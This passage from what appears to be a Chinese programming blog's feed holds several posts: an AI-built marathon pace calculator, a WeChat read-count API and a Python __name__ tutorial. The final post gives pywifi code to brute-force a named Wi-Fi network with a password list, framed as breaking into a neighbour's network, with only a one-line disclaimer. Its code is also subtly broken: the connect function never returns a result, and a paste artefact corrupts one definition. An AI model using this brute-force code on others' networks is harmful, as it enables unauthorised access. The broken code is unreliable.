&lt;p&gt;技术交流咨询v：yueryounali&lt;/p&gt;</content><category term="次幂数据"/></entry><entry><title>用Claude实现一个马拉松配速计算器</title><link href="https://foofish.net/marathon-pace-calculator.html" rel="alternate"/><published>2024-09-17T16:09:01+08:00</published><updated>2024-09-17T16:09:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2024-09-17:/marathon-pace-calculator.html</id><summary type="html">&lt;p&gt;跑步成了我日常运动后，脑子里经常冒出一个需求，对于还是一个初级马拉松跑步爱好者的我来说，特别想有一个这样的 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;跑步成了我日常运动后，脑子里经常冒出一个需求，对于还是一个初级马拉松跑步爱好者的我来说，特别想有一个这样的工具，比如我日常跑步配速是6分/公里，我就在估摸着，这个配速到底要多长时间才能跑完一个全马？半马又是多少时间？跑800间歇要多长时间？&lt;/p&gt;
&lt;p&gt;以上是做这个工具的出发点，纯属自己的小需求。&lt;/p&gt;
&lt;p&gt;但是我太懒了，又不想一行行代码自己去敲，别人做的看不上又或者不符合自己需求，上周突发奇想，为何不让AI全程帮我来实现。&lt;/p&gt;
&lt;p&gt;我用的AI模型是Claude3.5 Sonnet，充了20刀总要多发挥下它的价值对吧&lt;/p&gt;
&lt;p&gt;我给Claude写的“一句话”需求如下：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20240917170235157" src="../../images/image-20240917170235157.png"&gt;&lt;/p&gt;
&lt;p&gt;这是AI做的第一个版本&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20240917170105236" src="../../images/image-20240917170105236.png"&gt;功能没有问题，但是太粗糙了，只能算demo版本，这并不是最终想要的结果，然后就开始了长达20次对话，每次优化一点点，最终有了下面这个版本&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20240917170620590" src="../../images/image-20240917170620590.png"&gt;&lt;/p&gt;
&lt;p&gt;整个过程都是我在描述需求，AI实现需求，遇到错误时自己修复Bug。体验地址：&lt;a href="https://foofish.net/tools/marathon-pace-calculator.html"&gt;https://foofish.net/tools/marathon-pace-calculator.html&lt;/a&gt;&lt;/p&gt;</content><category term="思考"/></entry><entry><title>实时获取公众号文章阅读量</title><link href="https://foofish.net/gongzhonghao-read-num.html" rel="alternate"/><published>2024-05-02T15:45:59+08:00</published><updated>2024-05-02T15:45:59+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2024-05-02:/gongzhonghao-read-num.html</id><summary type="html">&lt;p&gt;如何实时获取公众号文章的阅读量，网络上有很多教程，但是流程和环境配置都非常复杂，如果你有这样的需求，可以直接 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;如何实时获取公众号文章的阅读量，网络上有很多教程，但是流程和环境配置都非常复杂，如果你有这样的需求，可以直接考虑用三方API来调用，省去自己去搭环境的麻烦。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;API接口&lt;/strong&gt; &lt;/p&gt;
&lt;p&gt;&lt;code&gt;/api/v2/articles/data&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;请求方式：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;POST&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;body 参数&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;参数名&lt;/th&gt;
&lt;th style="text-align: left;"&gt;必选&lt;/th&gt;
&lt;th style="text-align: left;"&gt;类型&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;url&lt;/td&gt;
&lt;td style="text-align: left;"&gt;是&lt;/td&gt;
&lt;td style="text-align: left;"&gt;str&lt;/td&gt;
&lt;td&gt;公众号文章链接&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;返回示例&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;{
    &amp;quot;code&amp;quot;: 200,
    &amp;quot;data&amp;quot;: {
        &amp;quot;like_num&amp;quot;: 88,
        &amp;quot;old_like_num&amp;quot;: 273,
        &amp;quot;read_num&amp;quot;: 55881
    },
    &amp;quot;msg&amp;quot;: &amp;quot;success&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;返回参数说明&lt;/strong&gt; &lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;字段名&lt;/th&gt;
&lt;th style="text-align: left;"&gt;类型&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;read_num&lt;/td&gt;
&lt;td style="text-align: left;"&gt;integer&lt;/td&gt;
&lt;td&gt;阅读数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;old_like_num&lt;/td&gt;
&lt;td style="text-align: left;"&gt;integer&lt;/td&gt;
&lt;td&gt;点赞数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;like_num&lt;/td&gt;
&lt;td style="text-align: left;"&gt;integer&lt;/td&gt;
&lt;td&gt;在看数&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;需要测试可以微信联系 yueryounali&lt;/p&gt;</content><category term="次幂数据"/><category term="公众号"/></entry><entry><title>Python中的 if __name__ == '__main__' 是什么？</title><link href="https://foofish.net/python-name-main.html" rel="alternate"/><published>2024-03-04T23:29:01+08:00</published><updated>2024-03-04T23:29:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2024-03-04:/python-name-main.html</id><summary type="html">&lt;p&gt;新手学Python的时候，一定见过&lt;code&gt;if __name__ == '__main__':&lt;/code&gt;这段代码，尤其是在写Python脚本的时候。&lt;/p&gt;
&lt;p&gt;这段代码究竟是啥意思，有啥作用？&lt;/p&gt;
&lt;p&gt;为了搞懂这行代码，首先要了解Python中的&lt;code&gt;__name__ …&lt;/code&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;新手学Python的时候，一定见过&lt;code&gt;if __name__ == '__main__':&lt;/code&gt;这段代码，尤其是在写Python脚本的时候。&lt;/p&gt;
&lt;p&gt;这段代码究竟是啥意思，有啥作用？&lt;/p&gt;
&lt;p&gt;为了搞懂这行代码，首先要了解Python中的&lt;code&gt;__name__&lt;/code&gt;属性和主程序概念。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;strong&gt;name&lt;/strong&gt; 属性&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在Python中，每个Python文件（不管是被执行的脚本还是被导入的模块）都有一个内置的&lt;code&gt;__name__&lt;/code&gt;属性。&lt;/p&gt;
&lt;p&gt;当文件被直接执行时，&lt;code&gt;__name__&lt;/code&gt;的值会被设置为&lt;code&gt;'__main__'&lt;/code&gt;，而当文件被导入到其他文件时，&lt;code&gt;__name__&lt;/code&gt;的值则会被设置为文件的名字。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主程序和模块&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;主程序：就是直接被运行的Python文件，程序运行的入口，在这个文件中，&lt;code&gt;__name__&lt;/code&gt;的值是&lt;code&gt;'__main__'&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;模块：被其他Python文件导入（import）使用的文件。在这个文件中，&lt;code&gt;__name__&lt;/code&gt;的值是该文件的名称。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;if &lt;strong&gt;name&lt;/strong&gt; == '&lt;strong&gt;main&lt;/strong&gt;'是什么？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;所以，现在你应该明白这行代码的意义了吧？就是让Python判断当前运行的环境是主程序还是被导入的模块。&lt;/p&gt;
&lt;p&gt;如果是主程序，那么 if 代码块将被执行。如果是被导入的模块，那么这部分代码就不会被执行。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;为什么要这样做？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这样做有几个好处：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;模块化和复用：允许单个Python文件既可以被导入使用，也可以作为独立的程序运行。&lt;/li&gt;
&lt;li&gt;测试代码：你可以在&lt;code&gt;if __name__ == '__main__':&lt;/code&gt;下面写一些测试代码，只有在文件作为主程序运行时这些代码才会被执行，这样就不会影响到此模块被其他文件导入时的行为。&lt;/li&gt;
&lt;li&gt;代码清晰：这种做法可以清晰地区分模块的接口和实现，让代码更易于理解和维护。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;假设有两个文件：&lt;code&gt;module.py&lt;/code&gt;和&lt;code&gt;main.py&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;module.py内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;def foo():
    print(&amp;quot;foo() from module.py&amp;quot;)

if __name__ == &amp;#39;__main__&amp;#39;:
    print(&amp;quot;module.py is being run directly&amp;quot;)
else:
    print(&amp;quot;module.py is being imported into another module&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;main.py内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;module&lt;/span&gt;

&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;当你直接运行 module.py 时，会看到"module.py is being run directly"。&lt;/p&gt;
&lt;p&gt;但如果你运行&lt;code&gt;main.py&lt;/code&gt;，&lt;code&gt;module.py&lt;/code&gt;被导入，你会看到"module.py is being imported into another module"，然后是"foo() from module.py"。&lt;/p&gt;
&lt;p&gt;通过这个例子，你可以看到&lt;code&gt;if __name__ == '__main__':&lt;/code&gt;如何帮助区分直接执行和被导入的情况，以及如何根据不同的运行环境执行不同的代码。&lt;/p&gt;
&lt;p&gt;这在开发大型Python应用时特别有用，可以让每个文件既可以独立运行，也可以作为模块被其他文件导入。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;总结：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这行代码的作用是判断当前运行的是主程序还是被导入的模块。&lt;/p&gt;</content><category term="Python"/><category term="python"/></entry><entry><title>用 Python 破解隔壁老王家的 Wi-Fi 密码，刺激！</title><link href="https://foofish.net/python-crack-wifi.html" rel="alternate"/><published>2024-03-04T00:29:01+08:00</published><updated>2024-03-04T00:29:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2024-03-04:/python-crack-wifi.html</id><summary type="html">&lt;p&gt;家里没有怎么办，只要你会Python，办法总比困难多&lt;/p&gt;
&lt;p&gt;本文就利用pywifi 这个库实验一下如何破解Wi-Fi 密码，注意，该方法仅可用来研究 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;家里没有怎么办，只要你会Python，办法总比困难多&lt;/p&gt;
&lt;p&gt;本文就利用pywifi 这个库实验一下如何破解Wi-Fi 密码，注意，该方法仅可用来研究学习所用，不可以拿去干坏事。&lt;/p&gt;
&lt;h3&gt;1. pywifi 简介&lt;/h3&gt;
&lt;p&gt;pywifi是一个Python库，它提供了对无线网络接口的控制，允许你扫描周围的无线网络，以及连接到无线网络。但请注意，这个库并不意味着可以绕过网络安全措施来非法连接网络。&lt;/p&gt;
&lt;h3&gt;2. 环境配置&lt;/h3&gt;
&lt;p&gt;在开始之前，你需要确保Python已经安装在你的计算机上，并且安装了pywifi库。你可以使用pip命令来安装pywifi：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;pip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pywifi&lt;/span&gt;
&lt;span class="nx"&gt;pip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;comtypes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;3. 扫描周围的Wi-Fi网络&lt;/h3&gt;
&lt;p&gt;接下来，我们将展示如何使用pywifi来扫描周围的Wi-Fi网络。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pywifi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PyWiFi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;const&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Profile&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;time&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;scan_wifi&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wifi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PyWiFi&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ifaces&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wifi&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;interfaces&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ifaces&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scan&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ifaces&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scan_results&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;SSID: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ssid&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;, 信号强度: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;signal&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;scan_wifi&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这段代码将列出你周围所有Wi-Fi网络的SSID（网络名称）和信号强度。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20240303220759104" src="../../images/image-20240303220759104.png"&gt;&lt;/p&gt;
&lt;h3&gt;4. 连接到Wi-Fi网络&lt;/h3&gt;
&lt;p&gt;把周围所有的WIFI网络扫出来后就可以逐个的去尝试连接了。&lt;/p&gt;
&lt;p&gt;先来封装一个函数&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;pythonCopy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;codedef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connect_wifi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ssid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wifi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PyWiFi&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ifaces&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wifi&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;interfaces&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ifaces&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;disconnect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;assert&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ifaces&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IFACE_DISCONNECTED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IFACE_INACTIVE&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;profile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Profile&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;profile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ssid&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ssid&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;profile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AUTH_ALG_OPEN&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;profile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;akm&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AKM_TYPE_WPA2PSK&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;profile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CIPHER_TYPE_CCMP&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;profile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ifaces&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;remove_all_network_profiles&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;tmp_profile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ifaces&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_network_profile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ifaces&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp_profile&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ifaces&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IFACE_CONNECTED&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;连接成功&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;连接失败&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;connect_wifi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;你的网络名称&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;你的密码&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这段代码尝试连接到一个指定的Wi-Fi网络。请将&lt;code&gt;'你的网络名称'&lt;/code&gt;和&lt;code&gt;'你的密码'&lt;/code&gt;替换为实际的网络名称和密码。&lt;/p&gt;
&lt;p&gt;注意在代码示例中使用&lt;code&gt;sleep&lt;/code&gt;函数主要是为了确保在执行网络操作（如扫描或连接）之间有足够的时间让硬件和操作系统处理这些请求。&lt;code&gt;sleep&lt;/code&gt;会暂停当前线程指定的时间（以秒为单位），这在网络编程中尤其有用，因为许多网络操作都不是立即完成的。&lt;/p&gt;
&lt;p&gt;然后我们在网上找一个弱口令库，用穷举法进行逐个去尝试，这种方法又称为暴力破解法&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;def try_pwd():
    print(&amp;quot;****************** WIFI破解 ******************&amp;quot;)
    # 密码本路径
    path = &amp;quot;pwd.txt&amp;quot;
    # 打开文件
    file = open(path, &amp;quot;r&amp;quot;)
    ssid = &amp;quot;TP-LINK_2020&amp;quot;
    while True:
        try:
            pwd = file.readline()
            # 去除密码的末尾换行符
            pwd = pwd.strip(&amp;#39;\n&amp;#39;)
            bool = connect_wifi(&amp;quot;TP-LINK_2020&amp;quot;, pwd)
            if bool:
                print(&amp;quot;[*] 密码已破解：&amp;quot;, pwd)
                print(&amp;quot;[*] WiFi已自动连接！！！&amp;quot;)
                break
            else:
                # 跳出当前循环，进行下一次循环
                print(f&amp;quot;正在破解 SSID 为 {ssid} 的 WIFI密码，当前校验的密码为：{pwd}&amp;quot;)
        except:
            continue

try_pwd()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="image-20240303222034444" src="../../images/image-20240303222034444.png"&gt;&lt;/p&gt;
&lt;p&gt;运气好的情况下，几分钟就破解了，如果密码WI-FI密码设置复杂最长一两天也是可能的，特别是如果是纯数字密码，使用最短的8位数字，最多也就1亿种可能，这对于一台计算机来说不是什么难事，你睡一觉起来就跑完了。 所以，你家的WiFi密码一定不要设置太简单了，最好是多种字符组合，防止被隔壁老王破解了。&lt;/p&gt;
